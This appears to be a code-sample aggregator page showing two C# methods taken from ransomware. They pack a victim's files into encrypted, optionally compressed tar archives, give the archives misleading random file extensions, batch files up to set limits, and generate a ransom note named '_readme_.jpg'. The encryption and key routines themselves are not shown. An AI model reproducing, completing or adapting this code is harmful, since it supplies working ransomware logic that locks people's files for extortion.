コード例 #1
0
            private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w)
            {
                KeyValuePair <string, byte[]> fileType = (from ft in fileTypes
                                                          select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First();

                string extension = encFile.Extension;

                if (fileType.Key == extension)
                {
                    fileType = (from ft in fileTypes
                                where ft.Key != extension
                                select ft).First();
                }

                // remove old file extension and add new one
                string fileName = encFile.FullName;

                fileName  = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key
                fileName += fileType.Key;

                Console.WriteLine("CreateTarOutputStream: {0}", fileName);

                w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write);
                CryptoStream crypt = GetEncryptStream(w.output, fileType.Value);

                if (Compress)
                {
                    w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt));
                }
                else
                {
                    w.encryptedTarStream = new TarOutputStream(crypt);
                }


                int rArch = random.Next(0, 5);

                if (w.archiveCount == 5)
                {
                    GenerateRansomNote(fileName + "_readme_.jpg");
                }
            }
コード例 #2
0
            private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file)
            {
                if (w.fileCount == 0)
                {
                    w.Close();

                    // create new one
                    CreateTarOutputStream(file, w);
                }

                TarFile(file.FullName, w.encryptedTarStream);

                w.filesSize += file.Length;
                ++w.fileCount;

                // check limits, if exceeded then reset them
                if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize))
                {
                    w.Reset();
                }
            }